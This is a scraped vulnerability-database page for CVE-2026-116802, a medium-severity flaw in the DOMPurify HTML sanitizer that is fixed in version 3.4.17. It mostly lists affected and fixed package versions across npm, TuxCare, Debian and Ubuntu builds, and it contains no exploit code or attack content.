2.5.9-tuxcare.32.5.9-tuxcare.42.5.9-tuxcare.52.5.9-tuxcare.62.5.9-tuxcare.72.5.9-tuxcare.82.5.9-tuxcare.9
2.5.9-tuxcare.12
dompurify
TuxCare:npm
 3.0.1-tuxcare.0 up to 3.0.1-tuxcare.4, plus listed versions
3.0.13.0.1-tuxcare.13.0.1-tuxcare.23.0.1-tuxcare.3
3.0.1-tuxcare.4
Show 52 moreShow less
Affected packages
PackageAffectedFixed
dompurify
TuxCare:npm
 3.0.2-tuxcare.0 up to 3.0.2-tuxcare.4, plus listed versions
3.0.23.0.2-tuxcare.13.0.2-tuxcare.23.0.2-tuxcare.3
3.0.2-tuxcare.4
dompurify
TuxCare:npm
 3.0.3-tuxcare.0 up to 3.0.3-tuxcare.8, plus listed versions
3.0.33.0.3-tuxcare.13.0.3-tuxcare.23.0.3-tuxcare.33.0.3-tuxcare.43.0.3-tuxcare.53.0.3-tuxcare.63.0.3-tuxcare.7
3.0.3-tuxcare.8
dompurify
TuxCare:npm
 3.0.4-tuxcare.0 up to 3.0.4-tuxcare.3, plus listed versions
3.0.43.0.4-tuxcare.13.0.4-tuxcare.2
3.0.4-tuxcare.3
dompurify
TuxCare:npm
 3.0.5-tuxcare.0 up to 3.0.5-tuxcare.3, plus listed versions
3.0.53.0.5-tuxcare.13.0.5-tuxcare.2
3.0.5-tuxcare.3
dompurify
TuxCare:npm
 3.0.8-tuxcare.0 up to 3.0.8-tuxcare.4, plus listed versions
3.0.83.0.8-tuxcare.13.0.8-tuxcare.23.0.8-tuxcare.3
3.0.8-tuxcare.4
dompurify
TuxCare:npm
 3.0.11-tuxcare.0 up to 3.0.11-tuxcare.4, plus listed versions
3.0.113.0.11-tuxcare.13.0.11-tuxcare.23.0.11-tuxcare.3
3.0.11-tuxcare.4
dompurify
TuxCare:npm
 3.1.0-tuxcare.0 up to 3.1.0-tuxcare.4, plus listed versions
3.1.03.1.0-tuxcare.13.1.0-tuxcare.23.1.0-tuxcare.3
3.1.0-tuxcare.4
dompurify
TuxCare:npm
 3.1.1-tuxcare.0 up to 3.1.1-tuxcare.4, plus listed versions
3.1.13.1.1-tuxcare.13.1.1-tuxcare.23.1.1-tuxcare.3
3.1.1-tuxcare.4
dompurify
TuxCare:npm
 3.1.2-tuxcare.0 up to 3.1.2-tuxcare.4, plus listed versions
3.1.23.1.2-tuxcare.13.1.2-tuxcare.23.1.2-tuxcare.3
3.1.2-tuxcare.4
dompurify
TuxCare:npm
 3.1.3-tuxcare.0 up to 3.1.3-tuxcare.4, plus listed versions
3.1.33.1.3-tuxcare.13.1.3-tuxcare.23.1.3-tuxcare.3
3.1.3-tuxcare.4
dompurify
TuxCare:npm
 3.1.4-tuxcare.0 up to 3.1.4-tuxcare.4, plus listed versions
3.1.43.1.4-tuxcare.13.1.4-tuxcare.23.1.4-tuxcare.3
3.1.4-tuxcare.4
dompurify
TuxCare:npm
 3.1.6-tuxcare.0 up to 3.1.6-tuxcare.10, plus listed versions
3.1.63.1.6-tuxcare.13.1.6-tuxcare.23.1.6-tuxcare.33.1.6-tuxcare.4
Show 5 moreShow less
3.1.6-tuxcare.53.1.6-tuxcare.63.1.6-tuxcare.73.1.6-tuxcare.83.1.6-tuxcare.9
3.1.6-tuxcare.10
dompurify
TuxCare:npm
 3.2.3-tuxcare.0 up to 3.2.3-tuxcare.6, plus listed versions
3.2.33.2.3-tuxcare.13.2.3-tuxcare.23.2.3-tuxcare.33.2.3-tuxcare.43.2.3-tuxcare.5
3.2.3-tuxcare.6
dompurify
TuxCare:npm
 3.2.6-tuxcare.0 up to 3.2.6-tuxcare.4, plus listed versions
3.2.63.2.6-tuxcare.13.2.6-tuxcare.23.2.6-tuxcare.3
3.2.6-tuxcare.4
dompurify
TuxCare:npm
 3.3.3-tuxcare.0 up to 3.3.3-tuxcare.4, plus listed versions
3.3.33.3.3-tuxcare.13.3.3-tuxcare.23.3.3-tuxcare.3
3.3.3-tuxcare.4
dompurify
TuxCare:npm
 3.4.5-tuxcare.0 up to 3.4.5-tuxcare.4, plus listed versions
3.4.53.4.5-tuxcare.13.4.5-tuxcare.23.4.5-tuxcare.3
3.4.5-tuxcare.4
dompurify
TuxCare:npm
 3.4.6-tuxcare.0 up to 3.4.6-tuxcare.4, plus listed versions
3.4.63.4.6-tuxcare.13.4.6-tuxcare.23.4.6-tuxcare.3
3.4.6-tuxcare.4
dompurify
TuxCare:npm
 3.4.7-tuxcare.0 up to 3.4.7-tuxcare.4, plus listed versions
3.4.73.4.7-tuxcare.13.4.7-tuxcare.23.4.7-tuxcare.3
3.4.7-tuxcare.4
dompurify
TuxCare:npm
 3.4.8-tuxcare.0 up to 3.4.8-tuxcare.6, plus listed versions
3.4.83.4.8-tuxcare.13.4.8-tuxcare.23.4.8-tuxcare.33.4.8-tuxcare.43.4.8-tuxcare.5
3.4.8-tuxcare.6
dompurify
TuxCare:npm
 3.4.9-tuxcare.0 up to 3.4.9-tuxcare.4, plus listed versions
3.4.93.4.9-tuxcare.13.4.9-tuxcare.23.4.9-tuxcare.3
3.4.9-tuxcare.4
dompurify
TuxCare:npm
 3.4.10-tuxcare.0 up to 3.4.10-tuxcare.4, plus listed versions
3.4.103.4.10-tuxcare.13.4.10-tuxcare.23.4.10-tuxcare.3
3.4.10-tuxcare.4
dompurify
TuxCare:npm
 3.4.11-tuxcare.0 up to 3.4.11-tuxcare.4, plus listed versions
3.4.113.4.11-tuxcare.13.4.11-tuxcare.23.4.11-tuxcare.3
3.4.11-tuxcare.4
dompurify
TuxCare:npm
 3.4.12-tuxcare.0 up to 3.4.12-tuxcare.2, plus listed versions
3.4.123.4.12-tuxcare.1
3.4.12-tuxcare.2
dompurify
TuxCare:npm
 3.4.13-tuxcare.0 up to 3.4.13-tuxcare.2, plus listed versions
3.4.133.4.13-tuxcare.1
3.4.13-tuxcare.2
dompurify
TuxCare:npm
 3.4.14-tuxcare.0 up to 3.4.14-tuxcare.3, plus listed versions
3.4.143.4.14-tuxcare.13.4.14-tuxcare.2
3.4.14-tuxcare.3
dompurify
TuxCare:npm
 3.4.15-tuxcare.0 up to 3.4.15-tuxcare.2, plus listed versions
3.4.153.4.15-tuxcare.1
3.4.15-tuxcare.2
dompurify
TuxCare:npm
 3.2.7-tuxcare.0 up to 3.2.7-tuxcare.6, plus listed versions
3.2.73.2.7-tuxcare.13.2.7-tuxcare.23.2.7-tuxcare.33.2.7-tuxcare.43.2.7-tuxcare.5
3.2.7-tuxcare.6
dompurify
TuxCare:npm
From an advisory covering 9 CVEs
 3.4.0-tuxcare.0 up to 3.4.0-tuxcare.1, plus listed versions
3.4.0
3.4.0-tuxcare.1
dompurify
TuxCare:npm
From an advisory covering 2 CVEs
 3.4.5-tuxcare.0 up to 3.4.5-tuxcare.5, plus listed versions
3.4.53.4.5-tuxcare.13.4.5-tuxcare.23.4.5-tuxcare.33.4.5-tuxcare.4
3.4.5-tuxcare.5
dompurify
TuxCare:npm
From an advisory covering 2 CVEs
 3.4.8-tuxcare.0 up to 3.4.8-tuxcare.7, plus listed versions
3.4.83.4.8-tuxcare.13.4.8-tuxcare.23.4.8-tuxcare.33.4.8-tuxcare.43.4.8-tuxcare.53.4.8-tuxcare.6
3.4.8-tuxcare.7
dompurify
TuxCare:npm
From an advisory covering 2 CVEs
 3.4.11-tuxcare.0 up to 3.4.11-tuxcare.5, plus listed versions
3.4.113.4.11-tuxcare.13.4.11-tuxcare.23.4.11-tuxcare.33.4.11-tuxcare.4
3.4.11-tuxcare.5
dompurify
TuxCare:npm
From an advisory covering 2 CVEs
 3.4.6-tuxcare.0 up to 3.4.6-tuxcare.5, plus listed versions
3.4.63.4.6-tuxcare.13.4.6-tuxcare.23.4.6-tuxcare.33.4.6-tuxcare.4
3.4.6-tuxcare.5
dompurify
TuxCare:npm
From an advisory covering 2 CVEs
 3.4.7-tuxcare.0 up to 3.4.7-tuxcare.5, plus listed versions
3.4.73.4.7-tuxcare.13.4.7-tuxcare.23.4.7-tuxcare.33.4.7-tuxcare.4
3.4.7-tuxcare.5
dompurify
TuxCare:npm
From an advisory covering 2 CVEs
 3.4.14-tuxcare.0 up to 3.4.14-tuxcare.4, plus listed versions
3.4.143.4.14-tuxcare.13.4.14-tuxcare.23.4.14-tuxcare.3
3.4.14-tuxcare.4
dompurify
TuxCare:npm
From an advisory covering 2 CVEs
 3.4.9-tuxcare.0 up to 3.4.9-tuxcare.5, plus listed versions
3.4.93.4.9-tuxcare.13.4.9-tuxcare.23.4.9-tuxcare.33.4.9-tuxcare.4
3.4.9-tuxcare.5
dompurify
TuxCare:npm
From an advisory covering 10 CVEs
 3.0.5-tuxcare.0 up to 3.0.5-tuxcare.4, plus listed versions
3.0.53.0.5-tuxcare.13.0.5-tuxcare.23.0.5-tuxcare.3
3.0.5-tuxcare.4
dompurify
TuxCare:npm
From an advisory covering 2 CVEs
 3.4.10-tuxcare.0 up to 3.4.10-tuxcare.5, plus listed versions
3.4.103.4.10-tuxcare.13.4.10-tuxcare.23.4.10-tuxcare.33.4.10-tuxcare.4
3.4.10-tuxcare.5
dompurify
TuxCare:npm
From an advisory covering 10 CVEs
 3.0.4-tuxcare.0 up to 3.0.4-tuxcare.4, plus listed versions
3.0.43.0.4-tuxcare.13.0.4-tuxcare.23.0.4-tuxcare.3
3.0.4-tuxcare.4
dompurify
TuxCare:npm
From an advisory covering 3 CVEs
 3.4.12-tuxcare.0 up to 3.4.12-tuxcare.3, plus listed versions
3.4.123.4.12-tuxcare.13.4.12-tuxcare.2
3.4.12-tuxcare.3
dompurify
TuxCare:npm
From an advisory covering 2 CVEs
 3.4.15-tuxcare.0 up to 3.4.15-tuxcare.3, plus listed versions
3.4.153.4.15-tuxcare.13.4.15-tuxcare.2
3.4.15-tuxcare.3
dompurify
TuxCare:npm
 3.4.16-tuxcare.0 up to 3.4.16-tuxcare.3, plus listed versions
3.4.163.4.16-tuxcare.13.4.16-tuxcare.2
3.4.16-tuxcare.3
dompurify
TuxCare:npm
 3.4.13-tuxcare.0 up to 3.4.13-tuxcare.4, plus listed versions
3.4.133.4.13-tuxcare.13.4.13-tuxcare.23.4.13-tuxcare.3
3.4.13-tuxcare.4
node-dompurify
Debian:12
 All versions, plus listed versions
2.4.1+dfsg+~2.4.0-12.4.1+dfsg+~2.4.0-22.4.1+dfsg+~2.4.0-2+deb12u13.0.9+dfsg+~3.0.5-13.1.6+dfsg+~3.0.5-1
Show 14 moreShow less
3.1.7+dfsg+~3.0.5-13.1.7+dfsg+~3.0.5-23.2.5+dfsg-13.3.2+dfsg-13.3.3+dfsg-13.3.3+dfsg-23.4.1+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-23.4.16+dfsg-13.4.17+dfsg-13.4.2+dfsg-13.4.5+dfsg-1
 None known
node-dompurify
Debian:13
 All versions, plus listed versions
3.1.7+dfsg+~3.0.5-23.2.5+dfsg-13.3.2+dfsg-13.3.3+dfsg-13.3.3+dfsg-2
Show 8 moreShow less
3.4.1+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-23.4.16+dfsg-13.4.17+dfsg-13.4.2+dfsg-13.4.5+dfsg-1
 None known
node-dompurify
Debian:14
 before 3.4.17+dfsg-1, plus listed versions
3.1.7+dfsg+~3.0.5-23.2.5+dfsg-13.3.2+dfsg-13.3.3+dfsg-13.3.3+dfsg-2
Show 7 moreShow less
3.4.1+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-23.4.16+dfsg-13.4.2+dfsg-13.4.5+dfsg-1
3.4.17+dfsg-1
dompurify
npm
 before 3.4.17
3.4.17
dompurify
Root:npm
 before 3.4.11-aikido.1
3.4.11-aikido.12.5.9-aikido.53.2.4-aikido.53.4.13-aikido.13.4.14-aikido.13.4.15-aikido.23.4.16-aikido.23.1.7-aikido.1
@rootio/dompurify
Root:npm
 before 3.4.11-root.io.1
3.4.11-root.io.12.5.9-root.io.53.2.4-root.io.53.4.13-root.io.13.4.14-root.io.13.4.15-root.io.23.4.16-root.io.23.1.7-root.io.1
node-dompurify
Ubuntu:22.04:LTS
 All versions, plus listed versions
2.3.0+dfsg-22.3.3+dfsg-1
 None known
node-dompurify
Ubuntu:24.04:LTS
 All versions, plus listed versions
2.4.1+dfsg+~2.4.0-13.0.9+dfsg+~3.0.5-1
 None known
node-dompurify
Ubuntu:26.10
 All versions, plus listed versions
3.3.3+dfsg-13.4.2+dfsg-13.4.5+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-2
 None known
node-dompurify
Ubuntu:26.04:LTS
 All versions, plus listed versions
3.1.7+dfsg+~3.0.5-23.3.3+dfsg-1
 None known

History

History
RecordedChangedSources
affectedNVD, OSV
referencesCVE List, EUVD
affected, factsOSV
affectedOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-116802 is a medium vulnerability (CVSS 5.1) in Cure53 Dompurify, published October 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.22%, the 12th percentile. Fixed in dompurify 3.4.17.

References

Show 9 moreShow less
This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them. Left out on purpose, here and in the API, to keep responses small: 7 source records.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open